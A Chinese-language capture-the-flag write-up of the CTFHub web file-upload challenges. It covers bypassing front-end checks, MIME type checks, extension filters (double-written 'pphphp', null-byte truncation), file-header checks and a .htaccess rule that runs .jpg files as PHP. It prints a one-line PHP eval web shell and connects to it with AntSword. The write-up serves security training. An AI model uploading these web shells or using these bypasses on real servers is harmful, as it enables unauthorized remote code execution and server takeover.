CTFHub-web(文件上传)

无验证

我们打开关卡，上传一句话木马程序

<?php @eval($_POST['shell']);?>

提交成功，显示相对路径

打开蚁剑连接测试
打开flag文件即可成功获得flag。

前端验证

上传时显示不可上传
提示为前端验证，我们打开页面源代码查看
将一句话木马后缀改为jpg格式上传，然后用burp抓包修改
将文件后缀改为php，然后上传类型也改为php

用蚁剑连接测试

打开文件，得到flag

.htaccess

htaccess文件是Apache服务器中的一个配置文件，它负责相关目录下的网页配置。通过htaccess文件，可以帮我们实现：网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能

先上传.htaccess文件

<FilesMatch "jpg">
    SetHandler application/x-httpd-php
</FilesMatch>

可以把jpg文件解析成php文件
然后再上传1.jpg一句话木马文件
然后我们用蚁剑测试链接，注意url是upload/1.jpg
找到flag

MIME绕过

上传一句话木马1.php文件发现不成功
我们用burp抓包查看
我们将此处的type改为image/jpg
上传即可成功
蚁剑测试连接找到flag

00截断

我们先打开关卡

用burp抓包，然后修改两部分放包，大家可以在网上收集资料查看00截断原理

然后放包
上传成功，我们再用蚁剑连接测试，因为我们修改了路径
所以这里是upload/1.php
得到flag

双写后缀

我们上传1.php发现不成功，查看页面源码发现

这里将我们的后缀替换成了空格
我们双写绕过
修改为1.pphphp即可上传成功
然后用蚁剑连接，获得flag

文件头检查

我们将1.php文件加个头缀

然后用burp抓包，修改上传类型 image/jpg

然后放包即可

蚁剑测试链接，获得flag